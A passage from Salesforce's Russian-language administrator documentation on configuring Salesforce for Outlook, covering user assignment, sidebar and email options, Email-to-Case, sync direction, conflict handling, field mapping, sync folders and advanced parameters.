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Назначение пользователей конфигурациям Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

После добавления основной информации для конфигурации Salesforce for Outlook
рекомендуем выбрать пользователей Salesforce for Outlook, к которым будут применены
параметры конфигурации.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Приизменениитекущейконфигурации Outlook щелкнитессылку«Правка»напротив
нужной конфигурации. В противном случае нажмите кнопку «Создать
конфигурацию Outlook» и заполните обязательные поля.

3. Выберитепункт «Профили» или «Пользователи» враскрывающемсясписке «Поиск»
раздела «Назначить пользователей и профили».

4. Чтобы найти нужного участника, введите ключевые слова в поле поиска и нажмите
кнопку «Найти».

5. Чтобы добавить участников в группу, выберите нужных участников в столбце
«Доступныеучастники» инажмитекнопку «Добавить».Еслиданнойконфигурации
назначены все доступные пользователи, то список «Пользователи» будет пуст, а для
назначения будут доступны только профили.

6. Чтобы удалить участников, выберите нужных участников и нажмите кнопку
«Удалить». Еслиудаленныепользователиназначеныдругойактивнойконфигурации
спомощьюпрофиля, тоэтаконфигурациябудетиспользоватьсяприихследующем
входе в приложение Outlook. В противном случае приложение Salesforce for Outlook
недоступно удаленным пользователям.

7. Нажмите кнопку «Сохранить». Все изменения вступят в силу при следующей
синхронизацииданныхдляпользователейэтойконфигурации.Вслучаеназначения
пользователя, назначенногодругойконфигурации, выполняется его удалениеиз другойконфигурациииназначение
текущей конфигурации. Если назначенный пользователь использует профиль, назначенный другой активной
конфигурации, то используется та конфигурация, в которой указан сам пользователь.

СМ. ТАКЖЕ:

Создание настроек Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Настройка параметров эл. почты для Salesforce for Outlook
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Определение параметров данных для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Параметры данных определяют порядок синхронизации и функции эл. почты в
приложении Salesforce for Outlook. Ниже перечислены параметры, которые могут быть
заданы в разделе «Параметры данных» конфигурации Salesforce for Outlook.

• Параметры эл. почты для добавления сообщений и создания обращений

• Направление синхронизации

• Алгоритм конфликта

• Соотнесения полей

• Критерии соответствия

• Полномочия на изменение
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Настройка параметров эл. почты для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Для включения функций
«Добавить сообщение эл.
почты», «Боковая панель» и
«Создать обращение»:
• «Настройка

приложения»

Разрешите группам сбыта отслеживать важные сообщения эл. почты Microsoft® Outlook®,
связанныес контактамииинтересами Salesforce. Атакжеразрешитеотображениеданных
контактов и интересов прямо в приложении Outlook.

Включение боковой панели Salesforce

Помогает вашим торговым представителям увидеть контакты и интересы Salesforce,
которые являются значимыми для сообщений электронной почты и событий ваших
представителей.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Приизменениитекущейконфигурации Outlook щелкнитессылку«Правка»напротив
нужной конфигурации. В противном случае нажмите кнопку «Создать
конфигурацию Outlook» и заполните обязательные поля.

3. Установите флажок «Боковая панель».

4. Сохраните внесенные изменения.

Разрешение для торговых представителей добавлять сообщения эл. почты,
вложения, события и задачи в записи через боковую панель

Параметр Добавление сообщения эл. почты позволяет им добавлять сообщения
Outlook и свои вложения ( ), события ( ) и задачи ( ) в свои записи Salesforce
напрямую из боковой панели. Вы можете также включить параметр Разрешить
пользователям выбирать вложения  ( ), которыйпозволяет торговымпредставителям
выбирать конкретные вложения для добавления в Salesforce вместо автоматического
включения всех вложений.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Приизменениитекущейконфигурации Outlook щелкнитессылку«Правка»напротив
нужной конфигурации. В противном случае нажмите кнопку «Создать конфигурацию Outlook» и заполните
обязательные поля.

3. Установите флажок «Боковая панель».

4. Установите флажок «Добавить сообщение эл. почты».

5. Сохраните внесенные изменения.

6. Чтобы разрешить представителям выбирать конкретные вложения для добавления в Salesforce, выберитеРазрешить
пользователям выбирать вложения.

Предоставление пользователям, которым недоступна боковая панель, возможности добавления сообщений
эл. почты и вложений в записи

Для торговых представителей, у которых отключена боковая панель, параметр Добавление сообщения эл. почты
добавляет кнопкиДобавитьсообщенияэлектроннойпочтыиОтправитьидобавитьналенту Outlook. Этотпараметр
также позволяет торговым представителям добавлять до 10 сообщений эл. почты в Salesforce одновременно.
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1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Настройки
Outlook».

2. При изменении текущей конфигурации Outlook щелкните ссылку «Правка» напротив нужной конфигурации. В
противном случае нажмите кнопку «Создать конфигурацию Outlook» и заполните обязательные поля.

3. Снимите флажок «Боковая панель».

4. Установите флажок «Добавить сообщение эл. почты».

5. Сохраните внесенные изменения.

6. Приотсутствиифункции «Мояфункция Email to Salesforce» нажмитекнопку«Включить»вовсплывающемсообщении.

Предоставление пользователям, которым недоступна боковая панель, возможности создания обращений из
приложения Outlook

Для торговых представителей, у которых отключена боковая панель, параметрСоздание обращений добавляет
соответствующую кнопку раскрывающегося меню в Outlook. Этот параметр также позволяет представителям создавать
обращения Salesforce из сообщений эл. почты Outlook. Если вы включили боковую панель для ваших торговых
представителей, выможетепредоставитьимдоступкиздателюбоковойпанели. Издательпозволяетвашимпредставителям
создавать различные виды записей Salesforce прямо из боковой панели.

Прим.: Прежде чем включить функцию «Создать обращение», просмотрите и выполните действия, описанные в
разделе «Настройкафункции "Создать обращение" для пользователей Salesforce for Outlook»на странице 2282. Затем
вернитесь к данному разделу и выполните указанные ниже действия.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Настройки
Outlook».

2. При изменении текущей конфигурации Outlook щелкните ссылку «Правка» напротив нужной конфигурации. В
противном случае нажмите кнопку «Создать конфигурацию Outlook» и заполните обязательные поля.

3. Снимите флажок параметра Боковая панель.

4. Установите флажок «Создать обращение». Затем щелкните одну из этих ссылок.

• Рекомендуется: «Выбрать текущуюцель создания обращения» для выбора текущих целей. Для каждой
конфигурации Outlook может быть выбрано не более 10 целей.

• «Добавить новую цель создания обращения». Чтобы создать обращение, сначала сохраните свою работу,
затем укажите, кому его направить. После этого вернитесь на страницу настройки Outlook, чтобы завершитьшаги,
необходимые для создания обращения.

5. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Добавление сообщений эл. почты Microsoft® Outlook® в записи Salesforce

Редактирование параметров эл. почты Salesforce for Outlook

Создание настроек Salesforce for Outlook

Назначение пользователей конфигурациям Salesforce for Outlook

Настройка пользователей для создания записей прямо на боковой панели Salesforce
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Общие сведения о последствиях включения повторяющихся событий

ВЕРСИИ

Доступно для настройки в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

НижеперечисленывозможныеизмененияSalesforceиAPI, которыемогутбытьвыполнены
в результате включения функции «Повторяющиеся события» в приложении
Salesforce for Outlook.

РекомендацииПользователи

Изменения, внесенные в последовательность, не влияют на прошедшие
события.

Пользователи
Salesforce

Изменения, внесенные в поля последовательности, переопределяют
изменения, внесенные ранее в поля отдельных событий.

• Время начала или окончания события

• Событие на весь день

• Частота

• Дата начала повторения (при отправке обновлений приглашенным)

Кроме того, изменение любого из перечисленных выше полей
инициирует удаление и повторное создание всех событий
последовательности. Как результат, всем приглашенным назначается
статус «Без ответа».

Ниже перечислены API-объекты, доступные только для чтения, которые
отображаются в API при синхронизации повторяющихся событий.

Пользователи
API

• EventRecurrenceException

• TaskRecurrenceException

СМ. ТАКЖЕ:

Настройка параметров эл. почты для Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Настройка функции «Создать обращение» для пользователей Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Функция «Создать обращение» в приложении Salesforce for Outlook позволяет создавать
обращения Salesforceиз сообщений эл. почты Microsoft® Outlook®. Администраторможет
создавать цели Email-to-Case, которые отображаются при нажатии раскрывающейся
кнопки «Создать обращения» в приложении Outlook. Каждой цели может
соответствовать назначенный сотрудник, являющийся отдельным пользователем или
очередью. Для каждой конфигурации Outlook может быть добавлено не более 10 целей.
При создании обращений пользователи могут одновременно добавлять не более
10 сообщений эл. почты для каждой цели.

ЧтобыразрешитьпользователямSalesforce for Outlook создаватьобращенияизсообщений
эл. почты Outlook, выполните указанные ниже действия.

1. Включите и настройте функцию On-Demand Email-to-Case.

2. Определите цели Email-to-Case (также известные как «адреса маршрутизации эл. почты»).
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3. Включите функцию «Создать обращение», которая добавляет раскрывающуюся кнопку «Создать обращения» в
приложение Outlook.

Приложение Salesforce for Outlook назначает категорию сообщениям эл. почты, добавленным пользователями
Salesforce for Outlook в качестве обращений Salesforce. Использование данной категории («Добавлено в качестве обращения
Salesforce») упрощает процесс поиска сообщений эл. почты, добавленных в систему Salesforce в качестве обращений.

СМ. ТАКЖЕ:

Настройка пользователей для создания записей прямо на боковой панели Salesforce

Создание настроек Salesforce for Outlook

Настройка параметров эл. почты для Salesforce for Outlook

Определение направлений синхронизации для пользователей Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Установите направления синхронизации для торговых представителей, которые
синхронизируют контакты, события и задачи между Microsoft® Outlook® и системой
Salesforce.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Создайте или внесите изменения в конфигурацию и выберите одно из указанных
ниженаправленийсинхронизациидлякаждогосинхронизируемогообъектавразделе
«Параметры данных».

• «Не синхронизировать»: синхронизациязаписей Outlook и Salesforceневыполняется;
папка Outlook не может быть выбрана для синхронизации в мастере настройки.

• «Из Salesforce в Outlook»: при первой синхронизации данных запись
Salesforce создает или обновляет запись Outlook. Во время последующих
синхронизацийизменения, внесенныев записи Salesforce, отображаютсяв Outlook,
независимо от того, была ли изменена версия записи в Outlook. Кроме того,
удаление синхронизированной записи Salesforce приводит к удалению
соответствующей записи Outlook. Изменения Outlook не переносятся в систему
Salesforce. Притакомнаправлениисинхронизацииалгоритмуконфликтадолжно
быть задано значение «Приоритет Salesforce выше».

• «Из Outlook в Salesforce»: при первой синхронизации данных запись
Outlook создает или обновляет запись Salesforce. Во время последующих
синхронизацийизменения, внесенныев записи Outlook, отображаютсяв Salesforce,
независимо от того, была ли изменена версия записи в Salesforce. Кроме того,
удаление синхронизированной записи Outlook приводит к удалению
соответствующей записи Salesforce. Изменения Salesforce не переносятся в
приложение Outlook. Притакомнаправлениисинхронизацииалгоритмуконфликтадолжнобыть задано значение
«Приоритет Outlook выше». Данное направление недоступно для контактов.

• Синхронизация в обоих направлениях  — при синхронизации записей изменения в Outlook и Salesforce
синхронизируются между двумя системами. В случае возникновения конфликта запись, имеющая приоритет,
определяется параметрами алгоритма конфликта.

3. Нажмитекнопку«Сохранить». Всеизменениявступятвсилуприследующейсинхронизацииданныхдляпользователей
этой конфигурации.

2283

Администрирование Salesforce for OutlookНастройка и обслуживание инструментов продаж



4. Определите набор данных для каждого объекта, имеющего направление синхронизации.

СМ. ТАКЖЕ:

Настройки Outlook и макеты публикатора Outlook

Настройка параметров эл. почты для Salesforce for Outlook

Создание настроек Salesforce for Outlook

Определение наборов данных для Salesforce for Outlook

Определение алгоритма конфликта для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Параметры алгоритма конфликта определяют порядок действий, выполняемых
приложениемSalesforce for Outlookвслучаевозникновенияконфликтаприсинхронизации
в обоих направлениях. Конфликт происходит в том случае, если одна и та же запись
обновляется в системе Salesforce и приложении Outlook, либо запись обновляется на
одной стороне и удаляется на другой стороне синхронизации.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Измените конфигурацию и выберите нужный алгоритм конфликта для объектов
«Контакты», «События» и «Задачи» в разделе «Параметры данных».

• Приоритет Salesforce выше

• Приоритет Outlook выше

3. Нажмите кнопку «Сохранить». Все изменения вступят в силу при следующей
синхронизации данных для пользователей этой конфигурации.

СМ. ТАКЖЕ:

Настройки Outlook и макеты публикатора Outlook

Создание настроек Salesforce for Outlook

Настройка полей, которые будут синхронизироваться между Salesforce и Microsoft®

Outlook®

Определение направлений синхронизации для пользователей Salesforce for Outlook
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Настройка полей, которые будут синхронизироваться между Salesforce и Microsoft® Outlook®

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Настройтеполязаписей, которыебудутсинхронизироватьвашиторговыепредставители
при помощи Salesforce for Outlook. Также добавьте настраиваемые поля Outlook или
Salesforce, синхронизацию которых вы требуете от торговых представителей.

Соотнесения полей определяют поля Salesforce и Outlook, соответствующие друг другу
присинхронизацииэлементовмеждудвумя системами.Система Salesforceподдерживает
набор стандартных соотнесений. Примите решение, следует ли позволить вашим
торговымпредставителямредактироватьсвоисобственныесопоставленияполейвсвоих
личных настройках.

Сопоставьте эти настраиваемые типы полей.

• Текстовые поля Outlook

• Текстовые поля Salesforce

• Некоторые поля раскрывающегося списка Salesforce

Отредактируйте сопоставления полей по умолчанию или используйте настраиваемые
сопоставления полей для своих торговых представителей.

1. Введите строку «Конфигурации Outlook» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Конфигурации Outlook».

2. Выберите нужную конфигурацию Outlook или создайте новую.

3. Чтобы просмотреть все поля для записей объекта «Контакты», «События» или
«Задачи», щелкните ссылку «Редактировать соотнесения полей» в разделе
«Параметры данных».

4. Просмотрите поля Salesforce, соотнесенные с каждым полем Outlook.

5. Отредактируйте нужные соотнесения полей Salesforce или Outlook или создайте
соотнесениядлянастраиваемыхполей. Приложение Salesforce for Outlookпозволяетредактироватьлюбое соотнесение
полейпосредствомраскрывающегося списка. Принеобходимостидобавьтедругие соотнесениявнизу списка. Чтобы
удалить соотнесение, щелкните значок «X» напротив нужного соотнесения.

Внимание: При соотнесении настраиваемого поля, которое является универсальным обязательным, убедитесь
в наличии стандартного значения во избежание ошибок. Соотнесение настраиваемых полей, требующих
проверки системой Salesforce, может вызывать ошибки синхронизации. Например, вы сопоставляете
пользовательскоеполе Salesforce, длякоторогонеобходимоуникальноезначение. Есливывведете вполе Outlook
значение, которое не является уникальным, возникнет ошибка.

6. Нажмитекнопку«Сохранить». Соотнесенияполейначинаютсинхронизациюсэлементами, которыеприследующем
входе будут обновлены посредством Salesforce или Outlook.

СМ. ТАКЖЕ:

Создание настроек Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Определение критериев соответствия для Salesforce for Outlook

Определение алгоритма конфликта для Salesforce for Outlook
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Определение критериев соответствия для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Определите, какSalesforce for Outlookбудетобрабатыватьнесколькоподходящихконтактов
Salesforce в случаях, когда контакт изначально синхронизируется из Outlook.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Внеситеизмененияв конфигурациюивыберитеодиниз указанныхнижекритериев
соответствия для каждого контакта в разделе «Параметры данных».

• «Последнее действие»: выбор контакта Salesforce, использовавшегося при
последнем действии (например, для звонка или сообщения эл. почты), согласно
связанному списку контакта «Журнал действий». Данный параметр является
критерием соответствия по умолчанию.

• «Последнее обновление»: выбор контакта Salesforce, измененного последним.

• «Самое раннее»: выбор контакта Salesforce, созданного первым.

3. Нажмите кнопку «Сохранить». Все изменения вступят в силу при следующей
синхронизации данных для пользователей этой конфигурации.

Если совпадающий контакт отсутствует в системе Salesforce, то добавляется контакт,
который затем синхронизируется с контактом Outlook. Затем мы либо назначаем
синхронизированныйконтактсучетнойзаписьюSalesforce, оставляемегоненазначенным
или размещаем его на странице торгового представителя «Мои неопределенные
элементы».

СМ. ТАКЖЕ:

Создание настроек Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Настройка полей, которые будут синхронизироваться между Salesforce и Microsoft® Outlook®
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Предоставление пользователям полномочия на редактирование параметров Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Измените конфигурациюиустановите любые указанныенижефлажкидля каждого
синхронизируемого объекта в разделе «Параметры данных». Ниже перечислены
флажки, которые могут быть доступны пользователям для редактирования.

• При синхронизации объекта

• Направление синхронизации

• Алгоритм конфликта

• Соотнесения полей

3. Нажмите кнопку «Сохранить». Все изменения вступят в силу при следующей
синхронизации данных для пользователей этой конфигурации.

Чтобы переопределить изменения, внесенные пользователями, установите флажок
«Перезаписать изменения, внесенные пользователями в конфигурацию». После
сохраненияобновленнойконфигурацииновыепараметрызаменят текущиепараметры
для пользователей конфигурации при следующей синхронизации их данных.

Назначение папок синхронизации пользователей в приложении Microsoft® Outlook®

ВЕРСИИ

Доступно для настройки в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
конфигураций Outlook:
• «Настройка

приложения»

При необходимости назначьте папки синхронизации контактов, событий и задач
пользователей Salesforce for Outlook вприложении Outlook. Папкисинхронизации Outlook
могут быть выбраны из конфигураций Salesforce for Outlook.

По умолчанию пользователи могут изменять папки Outlook, используемые для
синхронизации контактов, событийи задач Salesforce, из меню «Параметры» системной
области приложения Salesforce for Outlook. При необходимости отмените возможность
изменения папок синхронизации Outlook при сбросе данного стандартного параметра
для контактов, событий и задач и назначьте конкретные папки синхронизации Outlook
из конфигураций Outlook пользователей.

Прим.: Назначениепапок синхронизации Outlook может инициировать создание
папоккаталога Outlook длявсехпользователейвконфигурации Outlook. Приложение
Salesforce for Outlook не может удалять папки синхронизации Outlook из каталогов
Outlook пользователей после их создания. При последующем переназначении
другой папки исходная папка сохраняется в локальных каталогах Outlook
пользователей до удаления папки пользователями.

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Откройте нужную конфигурацию Outlook.
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3. Чтобы назначить папку, используемую для синхронизации контактов, снимите флажок «Папка Outlook для
синхронизацииконтактов» для параметра «Разрешить пользователям изменять:» в разделе «Параметрыданных»
.

4. Введите имя нужной папки Outlook во всплывшем текстовом поле. Введите имя общей папки, хранящейся в каталоге
Outlook для каждого пользователя на уровне каталога, который используется стандартной папкой контактов Outlook.
Имена папок чувствительны к регистру. При вводе имени папки, отсутствующей на данном уровне для каждого
пользователя, система Salesforce создает папку в приложении Outlook для данных пользователей. Чтобы разрешить
приложению Salesforce for Outlook синхронизациювложеннойпапки Outlook, введите путь кфайлу, включая символы
обратной косой черты (\).
Например, чтобыназначитьпапку Outlook поимени «sfdc_sync_contacts» вкачествевложенногокаталогадлястандартной
папки контактов Outlook пользователей, введите путь Contacts\sfdc_sync_contacts в текстовое поле «Папка
Outlook для синхронизации контактов», где компонент Contacts соответствует стандартной папке контактов
пользователей, а компонент sfdc_sync_contacts соответствует папке, которая должна использоваться для
синхронизации контактов Salesforce пользователей.

При наличии папки в каталогах Outlook пользователей приложение Salesforce for Outlook синхронизирует контакты
пользователя с данной папкой. В противном случае, приложение Salesforce for Outlook создает папку в каталоге
«Contacts\sfdc_sync_contacts».

5. Нажмите кнопку «Сохранить».

6. Чтобы подтвердить внесенные изменения, сообщите пользователям о необходимости повторного сохранения
параметров приложения Salesforce for Outlook. Ниже перечислены действия, которые должны быть выполнены
пользователями.

a. Правойкнопкоймышищелкните значок Salesforce for Outlook ( ) в системнойобластирабочегостолаивыберите
пункт «Параметры».

b. Нажмите кнопку «Далее» в окне «Проверить направление синхронизации».
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c. Нажмите кнопку «Далее» в окне «Выбор элементов Outlook для синхронизации».

d. Нажмите кнопку «Сохранить» в окне «Синхронизация личных элементов».

Приложение Salesforce for Outlook выполняет поиск папок Outlook, хранящихся в каталогах Outlook пользователей, или
создает папки для пользователей.

7. Сообщите пользователям о необходимости переноса нужных контактов Outlook в указанную папку.

Чтобы изменить расположения папок Outlook, используемых для синхронизации событий и задач с системой Salesforce,
повторите действия 3-7 в разделах «События» и «Задачи».

Определение дополнительных параметров для Salesforce for Outlook

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций:
• «Просмотр настройки и

конфигурации»

Для создания,
редактирования или
удаления конфигураций:
• «Управление

конфигурациями
клиента эл. почты»

Чтобы настроить стандартный алгоритм работы приложения Salesforce for Outlook
(например, максимальный размер журнала синхронизации), воспользуйтесь
дополнительными параметрами в конфигурации Salesforce for Outlook. Чтобы изменить
значение дополнительного параметра, щелкните ссылку «Правка». Чтобы удалить
дополнительный параметр из конфигурации, щелкните ссылку «Удалить».

1. Введитестроку «Настройки Outlook» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Настройки Outlook».

2. Приизменениитекущейконфигурации Outlook щелкнитессылку«Правка»напротив
нужной конфигурации. В противном случае нажмите кнопку «Создать
конфигурацию Outlook» и заполните обязательные поля.

3. Щелкните ссылку «Добавить дополнительный параметр» в разделе
«Дополнительные параметры» конфигурации Outlook.

4. Выберите нужный параметр и укажите его значение.

Значение параметраДополнительный
параметр

Временнойинтервалмеждуповторнымипопыткамиприложения
Salesforce for Outlook восстановить подключение HTTP к системе
Salesforce. Значение должно находиться в диапазоне от 15 до
360 секунд. Значение по умолчанию — 30 секунд.

HTTPTimeout

Максимальный размер журнала синхронизации. Значение
должно находиться в диапазоне от 1 до 128 Мб. Значение по
умолчанию — 1 Мб.

MaxLogFileSize

Количество попыток подключения приложения
Salesforce for Outlook к системе Salesforce. Значение должно

MaxRetries

находитьсявдиапазонеот 0 до 10 раз. Значениепоумолчанию —
3 раза.

5. Нажмите кнопку «OK».

2289

Администрирование Salesforce for OutlookНастройка и обслуживание инструментов продаж



6. Нажмитекнопку«Сохранить». Всеизменениявступятвсилуприследующейсинхронизацииданныхдляпользователей
этой конфигурации.

СМ. ТАКЖЕ:

Создание настроек Salesforce for Outlook

Настройки Outlook и макеты публикатора Outlook

Определение наборов данных для Salesforce for Outlook

Salesforce for Outlook: конфигурации для Contact Manager Edition и Group Edition

ВЕРСИИ

Доступно для настройки в
версиях: Salesforce Classic
и Lightning Experience

Доступно в версиях: Contact
Manager и Group Edition.

Узнайте о параметрах синхронизации, которые включены в выпуски Salesforce Contact
Manager и Group.

ЗначенияПараметр
для:

ВключеноБоковая
панель
Salesforce

ВключеноДобавить
сообщениеэл.
почты

Контакты • Направлениесинхронизации: «Синхронизация в обоих направлениях».

• Алгоритм конфликта: «Приоритет Outlook выше».

• Фильтры

Contacts: User's Records
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following

• Соотнесение полей: значения по умолчанию.

• Критерии соответствия: «Последнее действие».

События • Направлениесинхронизации: «Синхронизация в обоих направлениях».

• Алгоритм конфликта: «Приоритет Outlook выше».

• Фильтры

User's Records
Date greater or equal to LAST 30 DAYS

• Соотнесение полей: значения по умолчанию.

Задачи • Направлениесинхронизации: «Синхронизация в обоих направлениях».

• Алгоритм конфликта: «Приоритет Salesforce выше».
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ЗначенияПараметр для:

• Фильтры

User's Records
Due date greater or equal to LAST 30 DAYS

• Соотнесение полей: значения по умолчанию.

Настройка пользователей для создания записей прямо на боковой панели Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отображения боковой
панели Salesforce:
• «Боковая панель» в

конфигурациях Outlook

Для создания действий и
настройки макетов
публикатора боковой
панели:
• «Настройка

приложения»

Для просмотра макетов
публикатора боковой
панели:
• «Просмотр настройки»

Чтобы разрешить пользователям, создающимпотенциальных клиентов в приложении
Microsoft® Outlook®, создавать записи прямо на боковой панели, настройте доступ к
публикатору боковой панели Salesforce.

ПринеобходимостипредоставьтепользователямSalesforce for Outlookдоступдлясоздания
организаций, обращений, интересов, возможностей и настраиваемых объектов
посредством публикатора прямо на боковой панели. См. рисунок ниже.

Чтобыпредоставитьпользователямдоступкпубликаторубоковойпанели, рекомендуем
создать быстрые действия, которые должны отображаться в меню публикатора
пользователей, добавить данные быстрые действия в соответствующие макеты
публикатора и назначить макеты публикатора выбранным пользователям.

Доступныефункциибоковойпанелииспособнастройкипользователейдляприменения
публикатора боковой панели определяются текущей версией Salesforce.

1. Убедитесь, чтокаждомудействию, котороедолжноотображатьсявменюпубликатора
боковой панели пользователей, соответствуют глобальные действия типа «Создать
запись».

2. Добавьте действия в соответствующий макет публикатора.

• При использовании версии Group Edition или Contact Manager добавьте действия
в меню публикатора боковой панели пользователей посредством редактора
глобальных макетов публикатора. Если глобальный макет публикатора уже
используетсядругимифункциямиSalesforce, тодействия, добавленныедлябоковой
панели, будутотображаться для всехфункций. Темнеменее, публикаторбоковой
панели будет отображать только действия типа «Создать запись».

• При использовании версии Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition или Developer
Edition добавьте действия в меню публикатора боковой панели пользователей посредством редактора макетов
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публикатора боковой панели. Чтобы предоставить разным пользователям доступ к разным меню публикатора
боковой панели, рекомендуем создать несколько макетов публикатора боковой панели.

3. Назначьте макеты публикатора боковой панели пользователям.

• Прииспользованииверсии Contact Manager или Group Edition назначьте глобальныймакетпубликаторапрофилям
пользователей.

• При использовании версии Professional Edition, Enterprise Edition, Performance Edition, Unlimited Edition или Developer
Edition назначьте макет публикатора боковой панели профилям пользователей.

СМ. ТАКЖЕ:

Создание быстрых действий для публикатора боковой панели Salesforce

Настройка макетов меню публикатора боковой панели для разных пользователей приложения Salesforce for Outlook

Назначение глобальных макетов публикатора профилям пользователя

Назначение макетов публикатора боковой панели Salesforce профилям пользователей

Просмотр записей Salesforce в приложении Microsoft® Outlook®

Создание быстрых действий для публикатора боковой панели Salesforce

ВЕРСИИ

Эта функция доступна для
управления при помощи
следующих версий:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки глобальных
быстрых действий:
• «Настройка

приложения»

Для отображения боковой
панели Salesforce:
• «Боковая панель» в

конфигурациях Outlook

Данный раздел описывает первый этап подготовки пользователей приложения
Salesforce for Outlook к созданиюзаписейпрямонабоковойпанели Salesforce. Рекомендуем
настроить глобальные быстрые действия типа «Создать запись» для каждого типа
записи, который должен отображаться в меню публикатора боковой панели
пользователей.

Публикатор боковой панели Salesforce — это меню, позволяющее пользователям
создавать записи организаций, обращений, контактов, интересов, возможностей или
настраиваемыхобъектовпрямонабоковойпанели. Быстрыедействия, которыедолжны
отображаться вменюпубликаторабоковойпанелипользователей, определяютсяпутем
создания глобальных действий типа «Создать запись» для каждого типа записи.

Прим.: При необходимости добавьте глобальные действия в разные типы меню
публикатора, поддерживаемые системой Salesforce (например, меню публикатора
дляначальнойстраницыиливкладкиChatter). Глобальныедействиятипа «Создать
